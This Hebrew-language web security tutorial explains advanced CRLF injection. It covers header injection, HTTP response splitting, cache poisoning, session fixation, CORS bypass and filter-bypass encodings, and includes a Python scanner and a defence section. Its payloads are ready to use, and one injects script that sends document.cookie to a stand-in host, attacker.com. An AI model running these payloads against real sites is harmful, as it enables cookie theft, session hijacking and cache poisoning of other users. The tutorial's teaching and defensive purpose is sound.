לדלג לתוכן

תקיפות CRLF מתקדמות - Advanced CRLF Attacks

מבוא

הזרקת CRLF (Carriage Return Line Feed) היא טכניקת תקיפה שבה התוקף מזריק את התווים \r\n לתוך כותרות HTTP, עוגיות, או הפניות. ברמה הבסיסית, CRLF מאפשרת הזרקת כותרות. ברמה המתקדמת, היא מובילה לפיצול תגובות (Response Splitting), הרעלת מטמון, ושרשרת תקיפות מורכבת.


רקע - מבנה תגובת HTTP

תגובת HTTP מורכבת משורת סטטוס, כותרות, שורה ריקה וגוף:

HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html>body</html>

כל שורה מסתיימת ב-\r\n. שורה ריקה (\r\n\r\n) מפרידה בין הכותרות לגוף. הזרקת \r\n מאפשרת שליטה במבנה זה.


הזרקת CRLF בסיסית

הזרקה בכותרת Location

GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: admin=true

ה-%0d%0a (קידוד URL של \r\n) גורם לשבירת שורה בתגובה, והטקסט שאחריו מפורש ככותרת חדשה.

GET /page HTTP/1.1
Host: vulnerable-website.com
Cookie: lang=en%0d%0aSet-Cookie:%20admin=true

HTTP/1.1 200 OK
Set-Cookie: lang=en
Set-Cookie: admin=true

פיצול תגובות - HTTP Response Splitting

העיקרון

אם נזריק \r\n\r\n (שורה ריקה), נוכל לסיים את הכותרות ולהתחיל גוף תגובה חדש. עם עוד \r\n, נוכל ליצור תגובה שנייה שלמה:

GET /redirect?url=x%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
Host: vulnerable-website.com

התגובה מהשרת:

HTTP/1.1 302 Found
Location: x

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

הלקוח (או ה-proxy) עלול לפרש זאת כשתי תגובות נפרדות.

פיצול מלא עם Content-Length

GET /redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1

התגובה:

HTTP/1.1 302 Found
Location: x
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 25

<script>alert(1)</script>

ה-Content-Length: 0 בתגובה הראשונה גורם ללקוח לסיים את קריאתה ולהתחיל לקרוא את התגובה השנייה.


פיצול תגובות להרעלת מטמון

שילוב פיצול תגובות עם מטמון יכול להיות הרסני:

תקיפה צעד אחר צעד

שלב 1: התוקף שולח שתי בקשות בחיבור אחד:
  בקשה 1: GET /redirect?url=<CRLF payload שיוצר תגובה שנייה> HTTP/1.1
  בקשה 2: GET /static/main.js HTTP/1.1

שלב 2: השרת מחזיר:
  תגובה 1: 302 Found + Location: x + Content-Length: 0
  תגובה 2 (מזויפת): 200 OK + <script>alert(1)</script>
  תגובה 3 (אמיתית): 200 OK + main.js content

שלב 3: ה-proxy/מטמון מתאים:
  בקשה 1 -> תגובה 1 (302, תקין)
  בקשה 2 (GET /static/main.js) -> תגובה 2 (המזויפת!)

שלב 4: המטמון שומר:
  /static/main.js -> <script>alert(1)</script>

כל מבקר שיטען /static/main.js יקבל את הסקריפט הזדוני.


HTTP/0.9 ופיצול תגובות

רקע על HTTP/0.9

פרוטוקול HTTP/0.9 הוא הגרסה הקדומה ביותר. בגרסה זו אין כותרות - התגובה היא רק גוף:

בקשה:   GET /page\r\n
תגובה:  <html>content</html>

ניצול HTTP/0.9 לפיצול

חלק מהשרתים ו-proxies עדיין תומכים ב-HTTP/0.9. אם נצליח לגרום לשרת לענות ב-HTTP/0.9, התגובה לא תכלול כותרות, וכל התוכן יפורש כ-HTML:

GET /api/data?callback=<script>alert(1)</script> HTTP/0.9
Host: vulnerable-website.com

אם השרת עונה ב-HTTP/0.9:

<script>alert(1)</script>{"data": "..."}

אין כותרת Content-Type, אז הדפדפן עלול לפרש את זה כ-HTML.


CRLF בהקשרים שונים

הזרקה בכותרות תגובה

GET /api/user?name=John%0d%0aX-Custom-Header:%20injected HTTP/1.1

HTTP/1.1 200 OK
X-User-Name: John
X-Custom-Header: injected

הזרקה בעוגיות

GET /set-lang?lang=en%0d%0aSet-Cookie:%20session=attacker_session%3b%20Path=/

HTTP/1.1 302 Found
Set-Cookie: lang=en
Set-Cookie: session=attacker_session; Path=/

זוהי תקיפת Session Fixation דרך CRLF.

הזרקה בהפניות

GET /redirect?next=https://safe.com%0d%0a%0d%0a<html><body>Phishing</body></html>

HTTP/1.1 302 Found
Location: https://safe.com

<html><body>Phishing</body></html>

הגוף שאחרי השורה הריקה מוצג לקורבן אם הדפדפן לא עוקב אחרי ה-redirect.


שרשרות CRLF מתקדמות

CRLF להרעלת מטמון (ללא פיצול)

GET /page?x=%0d%0aX-Forwarded-Host:%20attacker.com HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
X-Forwarded-Host: attacker.com
...
<script src="https://attacker.com/script.js"></script>

הזרקת כותרת X-Forwarded-Host דרך CRLF, שמשפיעה על התגובה ומאפשרת הרעלת מטמון.

CRLF ל-XSS דרך כותרת Content-Type

GET /api?q=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

HTTP/1.1 200 OK
Content-Type: application/json
Content-Type: text/html

<script>alert(1)</script>
{"results": []}

כותרת Content-Type כפולה - חלק מהדפדפנים ישתמשו בכותרת האחרונה (text/html) ויפרשו את הגוף כ-HTML.

CRLF ל-CORS Bypass

GET /api/data?x=%0d%0aAccess-Control-Allow-Origin:%20https://attacker.com HTTP/1.1
Origin: https://attacker.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com

payloads מתקדמים

קידודים שונים

\r\n רגיל:           %0d%0a
קידוד כפול:          %250d%250a
קידוד Unicode:       %c4%8d%c4%8a
null + LF:           %00%0a
CR בלבד:             %0d
LF בלבד:             %0a
תו Unicode דומה:     \u000d\u000a

עקיפת סינון

# אם %0d%0a חסום, נסו:
%0d%20%0a          # רווח בין CR ל-LF
%0d%09%0a          # tab בין CR ל-LF
%0d%0a%20          # רווח אחרי LF (המשך שורה)
%e5%98%8a%e5%98%8d # UTF-8 encoding of CR/LF

payload מלא לפיצול תגובות עם XSS

/redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2062%0d%0a%0d%0a%3cscript%3edocument.location='https://attacker.com/?c='+document.cookie%3c/script%3e

בלבול פרוטוקולים ב-CRLF

בלבול דפדפן ספציפי

דפדפנים שונים מפרשים תגובות HTTP בצורות שונות:

Chrome: מקפיד על Content-Length, מתעלם מתגובות HTTP/0.9 ברוב המקרים
Firefox: מעט יותר סלחני עם Content-Length לא מדויק
Safari: התנהגות ייחודית עם charset parsing

# payload ספציפי ל-Firefox
%0d%0aContent-Type:%20text/html;%20charset=UTF-7%0d%0a%0d%0a+ADw-script+AD4-alert(1)+ADw-/script+AD4-

בלבול עם WebSocket

GET /chat HTTP/1.1
Host: vulnerable-website.com
Upgrade: websocket%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>
Connection: Upgrade

סקריפט לבדיקת CRLF

#!/usr/bin/env python3
"""
סקריפט לבדיקת הזרקת CRLF
"""

import requests
import urllib.parse

def test_crlf_injection(base_url, param_name):
    """בדיקת הזרקת CRLF בפרמטר"""

    payloads = [
        # בסיסי
        ("%0d%0aInjected-Header: test", "CRLF basic"),
        # קידוד כפול
        ("%250d%250aInjected-Header: test", "Double encoded"),
        # LF בלבד
        ("%0aInjected-Header: test", "LF only"),
        # CR בלבד
        ("%0dInjected-Header: test", "CR only"),
        # Unicode
        ("%c4%8d%c4%8aInjected-Header: test", "Unicode CRLF"),
        # null + LF
        ("%00%0aInjected-Header: test", "Null + LF"),
    ]

    results = []

    for payload, description in payloads:
        url = f"{base_url}?{param_name}=value{payload}"
        try:
            resp = requests.get(url, allow_redirects=False)

            if 'Injected-Header' in str(resp.headers):
                results.append((description, "פגיע", url))
                print(f"[+] {description}: פגיע!")
            elif 'injected-header' in resp.text.lower():
                results.append((description, "אפשרי", url))
                print(f"[?] {description}: ייתכן שפגיע (מופיע בגוף)")
            else:
                print(f"[-] {description}: לא פגיע")
        except Exception as e:
            print(f"[!] {description}: שגיאה - {e}")

    return results

def test_response_splitting(base_url, param_name):
    """בדיקת פיצול תגובות"""

    # payload שמנסה ליצור תגובה שנייה
    payload = (
        "x%0d%0aContent-Length:%200%0d%0a"
        "%0d%0a"
        "HTTP/1.1%20200%20OK%0d%0a"
        "Content-Type:%20text/html%0d%0a"
        "Content-Length:%2013%0d%0a"
        "%0d%0a"
        "SPLIT-SUCCESS"
    )

    url = f"{base_url}?{param_name}={payload}"

    try:
        resp = requests.get(url, allow_redirects=False)

        if 'SPLIT-SUCCESS' in resp.text:
            print("[+] פיצול תגובות: פגיע!")
            return True
        else:
            print("[-] פיצול תגובות: לא פגיע")
            return False
    except Exception as e:
        print(f"[!] שגיאה: {e}")
        return False

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 3:
        print("שימוש: python3 crlf_test.py <url> <param>")
        print("דוגמה: python3 crlf_test.py https://target.com/redirect url")
        sys.exit(1)

    base_url = sys.argv[1]
    param = sys.argv[2]

    print(f"[*] בודק CRLF ב-{base_url}, פרמטר: {param}")
    print("=" * 50)
    print("\n[*] בדיקת הזרקת כותרות:")
    test_crlf_injection(base_url, param)

    print("\n[*] בדיקת פיצול תגובות:")
    test_response_splitting(base_url, param)

הגנה

1. סינון CRLF בקלט

import re

def sanitize_header_value(value):
    """הסרת תווי CRLF מערך כותרת"""
    # הסרת CR, LF וכל תו בקרה
    return re.sub(r'[\r\n\x00-\x1f]', '', value)

def safe_redirect(url):
    """הפניה בטוחה - סינון CRLF"""
    clean_url = sanitize_header_value(url)
    # גם ולידציה של ה-URL
    if not clean_url.startswith(('http://', 'https://')):
        clean_url = '/'
    return redirect(clean_url)

2. שימוש ב-API בטוח

# Flask - response.headers מסנן אוטומטית CRLF
from flask import make_response, redirect

@app.route('/redirect')
def safe_redirect():
    url = request.args.get('url', '/')
    # Flask מסנן CRLF בכותרות אוטומטית
    return redirect(url)
// Node.js/Express - גרסאות חדשות חוסמות CRLF
res.setHeader('Location', userInput);
// Express 4.x+ זורק שגיאה אם userInput מכיל \r\n

3. הגדרות שרת

# nginx - סינון כותרות עם תווי בקרה
# nginx מסנן CRLF בכותרות proxy_set_header כברירת מחדל

4. WAF

- הגדירו כלל WAF שחוסם %0d, %0a, %0D, %0A בכל פרמטר
- כוללים גם קידוד כפול: %250d, %250a
- וגם קידוד Unicode

סיכום

תקיפות CRLF מתקדמות חורגות הרבה מעבר להזרקת כותרת פשוטה. פיצול תגובות מאפשר יצירת תגובות שלמות, הרעלת מטמון ו-XSS. נקודות מפתח:

  • הזרקת \r\n מאפשרת הוספת כותרות, והזרקת \r\n\r\n מאפשרת פיצול תגובות
  • פיצול תגובות בשילוב עם מטמון מאפשר תקיפה המונית
  • קידודים שונים (כפול, Unicode, חלקי) עוקפים סינון בסיסי
  • רוב הפריימוורקים המודרניים מגנים מפני CRLF, אבל שרתים ישנים ו-proxies עלולים להיות פגיעים